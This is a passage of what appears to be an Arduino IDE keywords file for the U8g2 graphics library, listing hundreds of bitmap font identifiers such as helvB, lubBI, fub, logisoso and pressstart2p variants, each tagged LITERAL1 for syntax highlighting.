u8g2_font_helvB12_tr LITERAL1 u8g2_font_helvB12_tn LITERAL1 u8g2_font_helvB12_te LITERAL1 u8g2_font_helvB14_tf LITERAL1 u8g2_font_helvB14_tr LITERAL1 u8g2_font_helvB14_tn LITERAL1 u8g2_font_helvB14_te LITERAL1 u8g2_font_helvB18_tf LITERAL1 u8g2_font_helvB18_tr LITERAL1 u8g2_font_helvB18_tn LITERAL1 u8g2_font_helvB18_te LITERAL1 u8g2_font_helvB24_tf LITERAL1 u8g2_font_helvB24_tr LITERAL1 u8g2_font_helvB24_tn LITERAL1 u8g2_font_helvB24_te LITERAL1 u8g2_font_helvR08_tf LITERAL1 u8g2_font_helvR08_tr LITERAL1 u8g2_font_helvR08_tn LITERAL1 u8g2_font_helvR08_te LITERAL1 u8g2_font_helvR10_tf LITERAL1 u8g2_font_helvR10_tr LITERAL1 u8g2_font_helvR10_tn LITERAL1 u8g2_font_helvR10_te LITERAL1 u8g2_font_helvR12_tf LITERAL1 u8g2_font_helvR12_tr LITERAL1 u8g2_font_helvR12_tn LITERAL1 u8g2_font_helvR12_te LITERAL1 u8g2_font_helvR14_tf LITERAL1 u8g2_font_helvR14_tr LITERAL1 u8g2_font_helvR14_tn LITERAL1 u8g2_font_helvR14_te LITERAL1 u8g2_font_helvR18_tf LITERAL1 u8g2_font_helvR18_tr LITERAL1 u8g2_font_helvR18_tn LITERAL1 u8g2_font_helvR18_te LITERAL1 u8g2_font_helvR24_tf LITERAL1 u8g2_font_helvR24_tr LITERAL1 u8g2_font_helvR24_tn LITERAL1 u8g2_font_helvR24_te LITERAL1 u8g2_font_ncenB08_tf LITERAL1 u8g2_font_ncenB08_tr LITERAL1 u8g2_font_ncenB08_tn LITERAL1 u8g2_font_ncenB08_te LITERAL1 u8g2_font_ncenB10_tf LITERAL1 u8g2_font_ncenB10_tr LITERAL1 u8g2_font_ncenB10_tn LITERAL1 u8g2_font_ncenB10_te LITERAL1 u8g2_font_ncenB12_tf LITERAL1 u8g2_font_ncenB12_tr LITERAL1 u8g2_font_ncenB12_tn LITERAL1 u8g2_font_ncenB12_te LITERAL1 u8g2_font_ncenB14_tf LITERAL1 u8g2_font_ncenB14_tr LITERAL1 u8g2_font_ncenB14_tn LITERAL1 u8g2_font_ncenB14_te LITERAL1 u8g2_font_ncenB18_tf LITERAL1 u8g2_font_ncenB18_tr LITERAL1 u8g2_font_ncenB18_tn LITERAL1 u8g2_font_ncenB18_te LITERAL1 u8g2_font_ncenB24_tf LITERAL1 u8g2_font_ncenB24_tr LITERAL1 u8g2_font_ncenB24_tn LITERAL1 u8g2_font_ncenB24_te LITERAL1 u8g2_font_ncenR08_tf LITERAL1 u8g2_font_ncenR08_tr LITERAL1 u8g2_font_ncenR08_tn LITERAL1 u8g2_font_ncenR08_te LITERAL1 u8g2_font_ncenR10_tf LITERAL1 u8g2_font_ncenR10_tr LITERAL1 u8g2_font_ncenR10_tn LITERAL1 u8g2_font_ncenR10_te LITERAL1 u8g2_font_ncenR12_tf LITERAL1 u8g2_font_ncenR12_tr LITERAL1 u8g2_font_ncenR12_tn LITERAL1 u8g2_font_ncenR12_te LITERAL1 u8g2_font_ncenR14_tf LITERAL1 u8g2_font_ncenR14_tr LITERAL1 u8g2_font_ncenR14_tn LITERAL1 u8g2_font_ncenR14_te LITERAL1 u8g2_font_ncenR18_tf LITERAL1 u8g2_font_ncenR18_tr LITERAL1 u8g2_font_ncenR18_tn LITERAL1 u8g2_font_ncenR18_te LITERAL1 u8g2_font_ncenR24_tf LITERAL1 u8g2_font_ncenR24_tr LITERAL1 u8g2_font_ncenR24_tn LITERAL1 u8g2_font_ncenR24_te LITERAL1 u8g2_font_timB08_tf LITERAL1 u8g2_font_timB08_tr LITERAL1 u8g2_font_timB08_tn LITERAL1 u8g2_font_timB10_tf LITERAL1 u8g2_font_timB10_tr LITERAL1 u8g2_font_timB10_tn LITERAL1 u8g2_font_timB12_tf LITERAL1 u8g2_font_timB12_tr LITERAL1 u8g2_font_timB12_tn LITERAL1 u8g2_font_timB14_tf LITERAL1 u8g2_font_timB14_tr LITERAL1 u8g2_font_timB14_tn LITERAL1 u8g2_font_timB18_tf LITERAL1 u8g2_font_timB18_tr LITERAL1 u8g2_font_timB18_tn LITERAL1 u8g2_font_timB24_tf LITERAL1 u8g2_font_timB24_tr LITERAL1 u8g2_font_timB24_tn LITERAL1 u8g2_font_timR08_tf LITERAL1 u8g2_font_timR08_tr LITERAL1 u8g2_font_timR08_tn LITERAL1 u8g2_font_timR10_tf LITERAL1 u8g2_font_timR10_tr LITERAL1 u8g2_font_timR10_tn LITERAL1 u8g2_font_timR12_tf LITERAL1 u8g2_font_timR12_tr LITERAL1 u8g2_font_timR12_tn LITERAL1 u8g2_font_timR14_tf LITERAL1 u8g2_font_timR14_tr LITERAL1 u8g2_font_timR14_tn LITERAL1 u8g2_font_timR18_tf LITERAL1 u8g2_font_timR18_tr LITERAL1 u8g2_font_timR18_tn LITERAL1 u8g2_font_timR24_tf LITERAL1 u8g2_font_timR24_tr LITERAL1 u8g2_font_timR24_tn LITERAL1 u8g2_font_lubB08_tf LITERAL1 u8g2_font_lubB08_tr LITERAL1 u8g2_font_lubB08_tn LITERAL1 u8g2_font_lubB08_te LITERAL1 u8g2_font_lubB10_tf LITERAL1 u8g2_font_lubB10_tr LITERAL1 u8g2_font_lubB10_tn LITERAL1 u8g2_font_lubB10_te LITERAL1 u8g2_font_lubB12_tf LITERAL1 u8g2_font_lubB12_tr LITERAL1 u8g2_font_lubB12_tn LITERAL1 u8g2_font_lubB12_te LITERAL1 u8g2_font_lubB14_tf LITERAL1 u8g2_font_lubB14_tr LITERAL1 u8g2_font_lubB14_tn LITERAL1 u8g2_font_lubB14_te LITERAL1 u8g2_font_lubB18_tf LITERAL1 u8g2_font_lubB18_tr LITERAL1 u8g2_font_lubB18_tn LITERAL1 u8g2_font_lubB18_te LITERAL1 u8g2_font_lubB19_tf LITERAL1 u8g2_font_lubB19_tr LITERAL1 u8g2_font_lubB19_tn LITERAL1 u8g2_font_lubB19_te LITERAL1 u8g2_font_lubB24_tf LITERAL1 u8g2_font_lubB24_tr LITERAL1 u8g2_font_lubB24_tn LITERAL1 u8g2_font_lubB24_te LITERAL1 u8g2_font_lubBI08_tf LITERAL1 u8g2_font_lubBI08_tr LITERAL1 u8g2_font_lubBI08_tn LITERAL1 u8g2_font_lubBI08_te LITERAL1 u8g2_font_lubBI10_tf LITERAL1 u8g2_font_lubBI10_tr LITERAL1 u8g2_font_lubBI10_tn LITERAL1 u8g2_font_lubBI10_te LITERAL1 u8g2_font_lubBI12_tf LITERAL1 u8g2_font_lubBI12_tr LITERAL1 u8g2_font_lubBI12_tn LITERAL1 u8g2_font_lubBI12_te LITERAL1 u8g2_font_lubBI14_tf LITERAL1 u8g2_font_lubBI14_tr LITERAL1 u8g2_font_lubBI14_tn LITERAL1 u8g2_font_lubBI14_te LITERAL1 u8g2_font_lubBI18_tf LITERAL1 u8g2_font_lubBI18_tr LITERAL1 u8g2_font_lubBI18_tn LITERAL1 u8g2_font_lubBI18_te LITERAL1 u8g2_font_lubBI19_tf LITERAL1 u8g2_font_lubBI19_tr LITERAL1 u8g2_font_lubBI19_tn LITERAL1 u8g2_font_lubBI19_te LITERAL1 u8g2_font_lubBI24_tf LITERAL1 u8g2_font_lubBI24_tr LITERAL1 u8g2_font_lubBI24_tn LITERAL1 u8g2_font_lubBI24_te LITERAL1 u8g2_font_lubI08_tf LITERAL1 u8g2_font_lubI08_tr LITERAL1 u8g2_font_lubI08_tn LITERAL1 u8g2_font_lubI08_te LITERAL1 u8g2_font_lubI10_tf LITERAL1 u8g2_font_lubI10_tr LITERAL1 u8g2_font_lubI10_tn LITERAL1 u8g2_font_lubI10_te LITERAL1 u8g2_font_lubI12_tf LITERAL1 u8g2_font_lubI12_tr LITERAL1 u8g2_font_lubI12_tn LITERAL1 u8g2_font_lubI12_te LITERAL1 u8g2_font_lubI14_tf LITERAL1 u8g2_font_lubI14_tr LITERAL1 u8g2_font_lubI14_tn LITERAL1 u8g2_font_lubI14_te LITERAL1 u8g2_font_lubI18_tf LITERAL1 u8g2_font_lubI18_tr LITERAL1 u8g2_font_lubI18_tn LITERAL1 u8g2_font_lubI18_te LITERAL1 u8g2_font_lubI19_tf LITERAL1 u8g2_font_lubI19_tr LITERAL1 u8g2_font_lubI19_tn LITERAL1 u8g2_font_lubI19_te LITERAL1 u8g2_font_lubI24_tf LITERAL1 u8g2_font_lubI24_tr LITERAL1 u8g2_font_lubI24_tn LITERAL1 u8g2_font_lubI24_te LITERAL1 u8g2_font_luBIS08_tf LITERAL1 u8g2_font_luBIS08_tr LITERAL1 u8g2_font_luBIS08_tn LITERAL1 u8g2_font_luBIS08_te LITERAL1 u8g2_font_luBIS10_tf LITERAL1 u8g2_font_luBIS10_tr LITERAL1 u8g2_font_luBIS10_tn LITERAL1 u8g2_font_luBIS10_te LITERAL1 u8g2_font_luBIS12_tf LITERAL1 u8g2_font_luBIS12_tr LITERAL1 u8g2_font_luBIS12_tn LITERAL1 u8g2_font_luBIS12_te LITERAL1 u8g2_font_luBIS14_tf LITERAL1 u8g2_font_luBIS14_tr LITERAL1 u8g2_font_luBIS14_tn LITERAL1 u8g2_font_luBIS14_te LITERAL1 u8g2_font_luBIS18_tf LITERAL1 u8g2_font_luBIS18_tr LITERAL1 u8g2_font_luBIS18_tn LITERAL1 u8g2_font_luBIS18_te LITERAL1 u8g2_font_luBIS19_tf LITERAL1 u8g2_font_luBIS19_tr LITERAL1 u8g2_font_luBIS19_tn LITERAL1 u8g2_font_luBIS19_te LITERAL1 u8g2_font_luBIS24_tf LITERAL1 u8g2_font_luBIS24_tr LITERAL1 u8g2_font_luBIS24_tn LITERAL1 u8g2_font_luBIS24_te LITERAL1 u8g2_font_lubR08_tf LITERAL1 u8g2_font_lubR08_tr LITERAL1 u8g2_font_lubR08_tn LITERAL1 u8g2_font_lubR08_te LITERAL1 u8g2_font_lubR10_tf LITERAL1 u8g2_font_lubR10_tr LITERAL1 u8g2_font_lubR10_tn LITERAL1 u8g2_font_lubR10_te LITERAL1 u8g2_font_lubR12_tf LITERAL1 u8g2_font_lubR12_tr LITERAL1 u8g2_font_lubR12_tn LITERAL1 u8g2_font_lubR12_te LITERAL1 u8g2_font_lubR14_tf LITERAL1 u8g2_font_lubR14_tr LITERAL1 u8g2_font_lubR14_tn LITERAL1 u8g2_font_lubR14_te LITERAL1 u8g2_font_lubR18_tf LITERAL1 u8g2_font_lubR18_tr LITERAL1 u8g2_font_lubR18_tn LITERAL1 u8g2_font_lubR18_te LITERAL1 u8g2_font_lubR19_tf LITERAL1 u8g2_font_lubR19_tr LITERAL1 u8g2_font_lubR19_tn LITERAL1 u8g2_font_lubR19_te LITERAL1 u8g2_font_lubR24_tf LITERAL1 u8g2_font_lubR24_tr LITERAL1 u8g2_font_lubR24_tn LITERAL1 u8g2_font_lubR24_te LITERAL1 u8g2_font_luBS08_tf LITERAL1 u8g2_font_luBS08_tr LITERAL1 u8g2_font_luBS08_tn LITERAL1 u8g2_font_luBS08_te LITERAL1 u8g2_font_luBS10_tf LITERAL1 u8g2_font_luBS10_tr LITERAL1 u8g2_font_luBS10_tn LITERAL1 u8g2_font_luBS10_te LITERAL1 u8g2_font_luBS12_tf LITERAL1 u8g2_font_luBS12_tr LITERAL1 u8g2_font_luBS12_tn LITERAL1 u8g2_font_luBS12_te LITERAL1 u8g2_font_luBS14_tf LITERAL1 u8g2_font_luBS14_tr LITERAL1 u8g2_font_luBS14_tn LITERAL1 u8g2_font_luBS14_te LITERAL1 u8g2_font_luBS18_tf LITERAL1 u8g2_font_luBS18_tr LITERAL1 u8g2_font_luBS18_tn LITERAL1 u8g2_font_luBS18_te LITERAL1 u8g2_font_luBS19_tf LITERAL1 u8g2_font_luBS19_tr LITERAL1 u8g2_font_luBS19_tn LITERAL1 u8g2_font_luBS19_te LITERAL1 u8g2_font_luBS24_tf LITERAL1 u8g2_font_luBS24_tr LITERAL1 u8g2_font_luBS24_tn LITERAL1 u8g2_font_luBS24_te LITERAL1 u8g2_font_luIS08_tf LITERAL1 u8g2_font_luIS08_tr LITERAL1 u8g2_font_luIS08_tn LITERAL1 u8g2_font_luIS08_te LITERAL1 u8g2_font_luIS10_tf LITERAL1 u8g2_font_luIS10_tr LITERAL1 u8g2_font_luIS10_tn LITERAL1 u8g2_font_luIS10_te LITERAL1 u8g2_font_luIS12_tf LITERAL1 u8g2_font_luIS12_tr LITERAL1 u8g2_font_luIS12_tn LITERAL1 u8g2_font_luIS12_te LITERAL1 u8g2_font_luIS14_tf LITERAL1 u8g2_font_luIS14_tr LITERAL1 u8g2_font_luIS14_tn LITERAL1 u8g2_font_luIS14_te LITERAL1 u8g2_font_luIS18_tf LITERAL1 u8g2_font_luIS18_tr LITERAL1 u8g2_font_luIS18_tn LITERAL1 u8g2_font_luIS18_te LITERAL1 u8g2_font_luIS19_tf LITERAL1 u8g2_font_luIS19_tr LITERAL1 u8g2_font_luIS19_tn LITERAL1 u8g2_font_luIS19_te LITERAL1 u8g2_font_luIS24_tf LITERAL1 u8g2_font_luIS24_tr LITERAL1 u8g2_font_luIS24_tn LITERAL1 u8g2_font_luIS24_te LITERAL1 u8g2_font_luRS08_tf LITERAL1 u8g2_font_luRS08_tr LITERAL1 u8g2_font_luRS08_tn LITERAL1 u8g2_font_luRS08_te LITERAL1 u8g2_font_luRS10_tf LITERAL1 u8g2_font_luRS10_tr LITERAL1 u8g2_font_luRS10_tn LITERAL1 u8g2_font_luRS10_te LITERAL1 u8g2_font_luRS12_tf LITERAL1 u8g2_font_luRS12_tr LITERAL1 u8g2_font_luRS12_tn LITERAL1 u8g2_font_luRS12_te LITERAL1 u8g2_font_luRS14_tf LITERAL1 u8g2_font_luRS14_tr LITERAL1 u8g2_font_luRS14_tn LITERAL1 u8g2_font_luRS14_te LITERAL1 u8g2_font_luRS18_tf LITERAL1 u8g2_font_luRS18_tr LITERAL1 u8g2_font_luRS18_tn LITERAL1 u8g2_font_luRS18_te LITERAL1 u8g2_font_luRS19_tf LITERAL1 u8g2_font_luRS19_tr LITERAL1 u8g2_font_luRS19_tn LITERAL1 u8g2_font_luRS19_te LITERAL1 u8g2_font_luRS24_tf LITERAL1 u8g2_font_luRS24_tr LITERAL1 u8g2_font_luRS24_tn LITERAL1 u8g2_font_luRS24_te LITERAL1 u8g2_font_baby_tf LITERAL1 u8g2_font_baby_tr LITERAL1 u8g2_font_baby_tn LITERAL1 u8g2_font_blipfest_07_tr LITERAL1 u8g2_font_blipfest_07_tn LITERAL1 u8g2_font_chikita_tf LITERAL1 u8g2_font_chikita_tr LITERAL1 u8g2_font_chikita_tn LITERAL1 u8g2_font_lucasfont_alternate_tf LITERAL1 u8g2_font_lucasfont_alternate_tr LITERAL1 u8g2_font_lucasfont_alternate_tn LITERAL1 u8g2_font_p01type_tf LITERAL1 u8g2_font_p01type_tr LITERAL1 u8g2_font_p01type_tn LITERAL1 u8g2_font_pixelle_micro_tr LITERAL1 u8g2_font_pixelle_micro_tn LITERAL1 u8g2_font_robot_de_niro_tf LITERAL1 u8g2_font_robot_de_niro_tr LITERAL1 u8g2_font_robot_de_niro_tn LITERAL1 u8g2_font_trixel_square_tf LITERAL1 u8g2_font_trixel_square_tr LITERAL1 u8g2_font_trixel_square_tn LITERAL1 u8g2_font_haxrcorp4089_tr LITERAL1 u8g2_font_haxrcorp4089_tn LITERAL1 u8g2_font_haxrcorp4089_t_cyrillic LITERAL1 u8g2_font_bubble_tr LITERAL1 u8g2_font_bubble_tn LITERAL1 u8g2_font_cardimon_pixel_tf LITERAL1 u8g2_font_cardimon_pixel_tr LITERAL1 u8g2_font_cardimon_pixel_tn LITERAL1 u8g2_font_maniac_tf LITERAL1 u8g2_font_maniac_tr LITERAL1 u8g2_font_maniac_tn LITERAL1 u8g2_font_maniac_te LITERAL1 u8g2_font_lucasarts_scumm_subtitle_o_tf LITERAL1 u8g2_font_lucasarts_scumm_subtitle_o_tr LITERAL1 u8g2_font_lucasarts_scumm_subtitle_o_tn LITERAL1 u8g2_font_lucasarts_scumm_subtitle_r_tf LITERAL1 u8g2_font_lucasarts_scumm_subtitle_r_tr LITERAL1 u8g2_font_lucasarts_scumm_subtitle_r_tn LITERAL1 u8x8_font_lucasarts_scumm_subtitle_o_2x2_f LITERAL1 u8x8_font_lucasarts_scumm_subtitle_o_2x2_r LITERAL1 u8x8_font_lucasarts_scumm_subtitle_o_2x2_n LITERAL1 u8x8_font_lucasarts_scumm_subtitle_r_2x2_f LITERAL1 u8x8_font_lucasarts_scumm_subtitle_r_2x2_r LITERAL1 u8x8_font_lucasarts_scumm_subtitle_r_2x2_n LITERAL1 u8g2_font_utopia24_tf LITERAL1 u8g2_font_utopia24_tr LITERAL1 u8g2_font_utopia24_tn LITERAL1 u8g2_font_utopia24_te LITERAL1 u8g2_font_m_c_kids_nes_credits_font_tr LITERAL1 u8g2_font_chargen_92_tf LITERAL1 u8g2_font_chargen_92_tr LITERAL1 u8g2_font_chargen_92_tn LITERAL1 u8g2_font_chargen_92_te LITERAL1 u8g2_font_chargen_92_mf LITERAL1 u8g2_font_chargen_92_mr LITERAL1 u8g2_font_chargen_92_mn LITERAL1 u8g2_font_chargen_92_me LITERAL1 u8g2_font_fub11_tf LITERAL1 u8g2_font_fub11_tr LITERAL1 u8g2_font_fub11_tn LITERAL1 u8g2_font_fub14_tf LITERAL1 u8g2_font_fub14_tr LITERAL1 u8g2_font_fub14_tn LITERAL1 u8g2_font_fub17_tf LITERAL1 u8g2_font_fub17_tr LITERAL1 u8g2_font_fub17_tn LITERAL1 u8g2_font_fub20_tf LITERAL1 u8g2_font_fub20_tr LITERAL1 u8g2_font_fub20_tn LITERAL1 u8g2_font_fub25_tf LITERAL1 u8g2_font_fub25_tr LITERAL1 u8g2_font_fub25_tn LITERAL1 u8g2_font_fub30_tf LITERAL1 u8g2_font_fub30_tr LITERAL1 u8g2_font_fub30_tn LITERAL1 u8g2_font_fub35_tf LITERAL1 u8g2_font_fub35_tr LITERAL1 u8g2_font_fub35_tn LITERAL1 u8g2_font_fub42_tf LITERAL1 u8g2_font_fub42_tr LITERAL1 u8g2_font_fub42_tn LITERAL1 u8g2_font_fub49_tn LITERAL1 u8g2_font_fub11_t_symbol LITERAL1 u8g2_font_fub14_t_symbol LITERAL1 u8g2_font_fub17_t_symbol LITERAL1 u8g2_font_fub20_t_symbol LITERAL1 u8g2_font_fub25_t_symbol LITERAL1 u8g2_font_fub30_t_symbol LITERAL1 u8g2_font_fub35_t_symbol LITERAL1 u8g2_font_fub42_t_symbol LITERAL1 u8g2_font_fub49_t_symbol LITERAL1 u8g2_font_fur11_tf LITERAL1 u8g2_font_fur11_tr LITERAL1 u8g2_font_fur11_tn LITERAL1 u8g2_font_fur14_tf LITERAL1 u8g2_font_fur14_tr LITERAL1 u8g2_font_fur14_tn LITERAL1 u8g2_font_fur17_tf LITERAL1 u8g2_font_fur17_tr LITERAL1 u8g2_font_fur17_tn LITERAL1 u8g2_font_fur20_tf LITERAL1 u8g2_font_fur20_tr LITERAL1 u8g2_font_fur20_tn LITERAL1 u8g2_font_fur25_tf LITERAL1 u8g2_font_fur25_tr LITERAL1 u8g2_font_fur25_tn LITERAL1 u8g2_font_fur30_tf LITERAL1 u8g2_font_fur30_tr LITERAL1 u8g2_font_fur30_tn LITERAL1 u8g2_font_fur35_tf LITERAL1 u8g2_font_fur35_tr LITERAL1 u8g2_font_fur35_tn LITERAL1 u8g2_font_fur42_tf LITERAL1 u8g2_font_fur42_tr LITERAL1 u8g2_font_fur42_tn LITERAL1 u8g2_font_fur49_tn LITERAL1 u8g2_font_fur11_t_symbol LITERAL1 u8g2_font_fur14_t_symbol LITERAL1 u8g2_font_fur17_t_symbol LITERAL1 u8g2_font_fur20_t_symbol LITERAL1 u8g2_font_fur25_t_symbol LITERAL1 u8g2_font_fur30_t_symbol LITERAL1 u8g2_font_fur35_t_symbol LITERAL1 u8g2_font_fur42_t_symbol LITERAL1 u8g2_font_fur49_t_symbol LITERAL1 u8g2_font_osb18_tf LITERAL1 u8g2_font_osb18_tr LITERAL1 u8g2_font_osb18_tn LITERAL1 u8g2_font_osb21_tf LITERAL1 u8g2_font_osb21_tr LITERAL1 u8g2_font_osb21_tn LITERAL1 u8g2_font_osb26_tf LITERAL1 u8g2_font_osb26_tr LITERAL1 u8g2_font_osb26_tn LITERAL1 u8g2_font_osb29_tf LITERAL1 u8g2_font_osb29_tr LITERAL1 u8g2_font_osb29_tn LITERAL1 u8g2_font_osb35_tf LITERAL1 u8g2_font_osb35_tr LITERAL1 u8g2_font_osb35_tn LITERAL1 u8g2_font_osb41_tf LITERAL1 u8g2_font_osb41_tr LITERAL1 u8g2_font_osb41_tn LITERAL1 u8g2_font_osr18_tf LITERAL1 u8g2_font_osr18_tr LITERAL1 u8g2_font_osr18_tn LITERAL1 u8g2_font_osr21_tf LITERAL1 u8g2_font_osr21_tr LITERAL1 u8g2_font_osr21_tn LITERAL1 u8g2_font_osr26_tf LITERAL1 u8g2_font_osr26_tr LITERAL1 u8g2_font_osr26_tn LITERAL1 u8g2_font_osr29_tf LITERAL1 u8g2_font_osr29_tr LITERAL1 u8g2_font_osr29_tn LITERAL1 u8g2_font_osr35_tf LITERAL1 u8g2_font_osr35_tr LITERAL1 u8g2_font_osr35_tn LITERAL1 u8g2_font_osr41_tf LITERAL1 u8g2_font_osr41_tr LITERAL1 u8g2_font_osr41_tn LITERAL1 u8g2_font_inr16_mf LITERAL1 u8g2_font_inr16_mr LITERAL1 u8g2_font_inr16_mn LITERAL1 u8g2_font_inr19_mf LITERAL1 u8g2_font_inr19_mr LITERAL1 u8g2_font_inr19_mn LITERAL1 u8g2_font_inr21_mf LITERAL1 u8g2_font_inr21_mr LITERAL1 u8g2_font_inr21_mn LITERAL1 u8g2_font_inr24_mf LITERAL1 u8g2_font_inr24_mr LITERAL1 u8g2_font_inr24_mn LITERAL1 u8g2_font_inr24_t_cyrillic LITERAL1 u8g2_font_inr27_mf LITERAL1 u8g2_font_inr27_mr LITERAL1 u8g2_font_inr27_mn LITERAL1 u8g2_font_inr27_t_cyrillic LITERAL1 u8g2_font_inr30_mf LITERAL1 u8g2_font_inr30_mr LITERAL1 u8g2_font_inr30_mn LITERAL1 u8g2_font_inr30_t_cyrillic LITERAL1 u8g2_font_inr33_mf LITERAL1 u8g2_font_inr33_mr LITERAL1 u8g2_font_inr33_mn LITERAL1 u8g2_font_inr33_t_cyrillic LITERAL1 u8g2_font_inr38_mf LITERAL1 u8g2_font_inr38_mr LITERAL1 u8g2_font_inr38_mn LITERAL1 u8g2_font_inr38_t_cyrillic LITERAL1 u8g2_font_inr42_mf LITERAL1 u8g2_font_inr42_mr LITERAL1 u8g2_font_inr42_mn LITERAL1 u8g2_font_inr42_t_cyrillic LITERAL1 u8g2_font_inr46_mf LITERAL1 u8g2_font_inr46_mr LITERAL1 u8g2_font_inr46_mn LITERAL1 u8g2_font_inr46_t_cyrillic LITERAL1 u8g2_font_inr49_mf LITERAL1 u8g2_font_inr49_mr LITERAL1 u8g2_font_inr49_mn LITERAL1 u8g2_font_inr49_t_cyrillic LITERAL1 u8g2_font_inr53_mf LITERAL1 u8g2_font_inr53_mr LITERAL1 u8g2_font_inr53_mn LITERAL1 u8g2_font_inr53_t_cyrillic LITERAL1 u8g2_font_inr57_mn LITERAL1 u8g2_font_inr62_mn LITERAL1 u8x8_font_inr21_2x4_f LITERAL1 u8x8_font_inr21_2x4_r LITERAL1 u8x8_font_inr21_2x4_n LITERAL1 u8x8_font_inr33_3x6_f LITERAL1 u8x8_font_inr33_3x6_r LITERAL1 u8x8_font_inr33_3x6_n LITERAL1 u8x8_font_inr46_4x8_f LITERAL1 u8x8_font_inr46_4x8_r LITERAL1 u8x8_font_inr46_4x8_n LITERAL1 u8g2_font_inb16_mf LITERAL1 u8g2_font_inb16_mr LITERAL1 u8g2_font_inb16_mn LITERAL1 u8g2_font_inb19_mf LITERAL1 u8g2_font_inb19_mr LITERAL1 u8g2_font_inb19_mn LITERAL1 u8g2_font_inb21_mf LITERAL1 u8g2_font_inb21_mr LITERAL1 u8g2_font_inb21_mn LITERAL1 u8g2_font_inb24_mf LITERAL1 u8g2_font_inb24_mr LITERAL1 u8g2_font_inb24_mn LITERAL1 u8g2_font_inb27_mf LITERAL1 u8g2_font_inb27_mr LITERAL1 u8g2_font_inb27_mn LITERAL1 u8g2_font_inb30_mf LITERAL1 u8g2_font_inb30_mr LITERAL1 u8g2_font_inb30_mn LITERAL1 u8g2_font_inb33_mf LITERAL1 u8g2_font_inb33_mr LITERAL1 u8g2_font_inb33_mn LITERAL1 u8g2_font_inb38_mf LITERAL1 u8g2_font_inb38_mr LITERAL1 u8g2_font_inb38_mn LITERAL1 u8g2_font_inb42_mf LITERAL1 u8g2_font_inb42_mr LITERAL1 u8g2_font_inb42_mn LITERAL1 u8g2_font_inb46_mf LITERAL1 u8g2_font_inb46_mr LITERAL1 u8g2_font_inb46_mn LITERAL1 u8g2_font_inb49_mf LITERAL1 u8g2_font_inb49_mr LITERAL1 u8g2_font_inb49_mn LITERAL1 u8g2_font_inb53_mf LITERAL1 u8g2_font_inb53_mr LITERAL1 u8g2_font_inb53_mn LITERAL1 u8g2_font_inb57_mn LITERAL1 u8g2_font_inb63_mn LITERAL1 u8x8_font_inb21_2x4_f LITERAL1 u8x8_font_inb21_2x4_r LITERAL1 u8x8_font_inb21_2x4_n LITERAL1 u8x8_font_inb33_3x6_f LITERAL1 u8x8_font_inb33_3x6_r LITERAL1 u8x8_font_inb33_3x6_n LITERAL1 u8x8_font_inb46_4x8_f LITERAL1 u8x8_font_inb46_4x8_r LITERAL1 u8x8_font_inb46_4x8_n LITERAL1 u8g2_font_logisoso16_tf LITERAL1 u8g2_font_logisoso16_tr LITERAL1 u8g2_font_logisoso16_tn LITERAL1 u8g2_font_logisoso18_tf LITERAL1 u8g2_font_logisoso18_tr LITERAL1 u8g2_font_logisoso18_tn LITERAL1 u8g2_font_logisoso20_tf LITERAL1 u8g2_font_logisoso20_tr LITERAL1 u8g2_font_logisoso20_tn LITERAL1 u8g2_font_logisoso22_tf LITERAL1 u8g2_font_logisoso22_tr LITERAL1 u8g2_font_logisoso22_tn LITERAL1 u8g2_font_logisoso24_tf LITERAL1 u8g2_font_logisoso24_tr LITERAL1 u8g2_font_logisoso24_tn LITERAL1 u8g2_font_logisoso26_tf LITERAL1 u8g2_font_logisoso26_tr LITERAL1 u8g2_font_logisoso26_tn LITERAL1 u8g2_font_logisoso28_tf LITERAL1 u8g2_font_logisoso28_tr LITERAL1 u8g2_font_logisoso28_tn LITERAL1 u8g2_font_logisoso30_tf LITERAL1 u8g2_font_logisoso30_tr LITERAL1 u8g2_font_logisoso30_tn LITERAL1 u8g2_font_logisoso32_tf LITERAL1 u8g2_font_logisoso32_tr LITERAL1 u8g2_font_logisoso32_tn LITERAL1 u8g2_font_logisoso34_tf LITERAL1 u8g2_font_logisoso34_tr LITERAL1 u8g2_font_logisoso34_tn LITERAL1 u8g2_font_logisoso38_tf LITERAL1 u8g2_font_logisoso38_tr LITERAL1 u8g2_font_logisoso38_tn LITERAL1 u8g2_font_logisoso42_tf LITERAL1 u8g2_font_logisoso42_tr LITERAL1 u8g2_font_logisoso42_tn LITERAL1 u8g2_font_logisoso46_tf LITERAL1 u8g2_font_logisoso46_tr LITERAL1 u8g2_font_logisoso46_tn LITERAL1 u8g2_font_logisoso50_tf LITERAL1 u8g2_font_logisoso50_tr LITERAL1 u8g2_font_logisoso50_tn LITERAL1 u8g2_font_logisoso54_tf LITERAL1 u8g2_font_logisoso54_tr LITERAL1 u8g2_font_logisoso54_tn LITERAL1 u8g2_font_logisoso58_tf LITERAL1 u8g2_font_logisoso58_tr LITERAL1 u8g2_font_logisoso58_tn LITERAL1 u8g2_font_logisoso62_tn LITERAL1 u8g2_font_logisoso78_tn LITERAL1 u8g2_font_logisoso92_tn LITERAL1 u8g2_font_pressstart2p_8f LITERAL1 u8g2_font_pressstart2p_8r LITERAL1 u8g2_font_pressstart2p_8n LITERAL1 u8g2_font_pressstart2p_8u LITERAL1 u8x8_font_pressstart2p_f LITERAL1 u8x8_font_pressstart2p_r LITERAL1 u8x8_font_pressstart2p_n LITERAL1 u8x8_font_pressstart2p_u LITERAL1 u8g2_font_pcsenior_8f LITERAL1 u8g2_font_pcsenior_8r LITERAL1 u8g2_font_pcsenior_8n LITERAL1 u8g2_font_pcsenior_8u LITERAL1 u8x8_font_pcsenior_f LITERAL1 u8x8_font_pcsenior_r LITERAL1 u8x8_font_pcsenior_n LITERAL1 u8x8_font_pcsenior_u LITERAL1 u8g2_font_pxplusibmcgathin_8f LITERAL1 u8g2_font_pxplusibmcgathin_8r LITERAL1 u8g2_font_pxplusibmcgathin_8n LITERAL1 u8g2_font_pxplusibmcgathin_8u LITERAL1 u8x8_font_pxplusibmcgathin_f LITERAL1 u8x8_font_pxplusibmcgathin_r LITERAL1 u8x8_font_pxplusibmcgathin_n LITERAL1 u8x8_font_pxplusibmcgathin_u LITERAL1 u8g2_font_pxplusibmcga_8f LITERAL1 u8g2_font_pxplusibmcga_8r LITERAL1 u8g2_font_pxplusibmcga_8n LITERAL1 u8g2_font_pxplusibmcga_8u LITERAL1 u8x8_font_pxplusibmcga_f LITERAL1 u8x8_font_pxplusibmcga_r LITERAL1 u8x8_font_pxplusibmcga_n LITERAL1 u8x8_font_pxplusibmcga_u LITERAL1 u8g2_font_pxplustandynewtv_8f LITERAL1 u8g2_font_pxplustandynewtv_8r LITERAL1 u8g2_font_pxplustandynewtv_8n LITERAL1 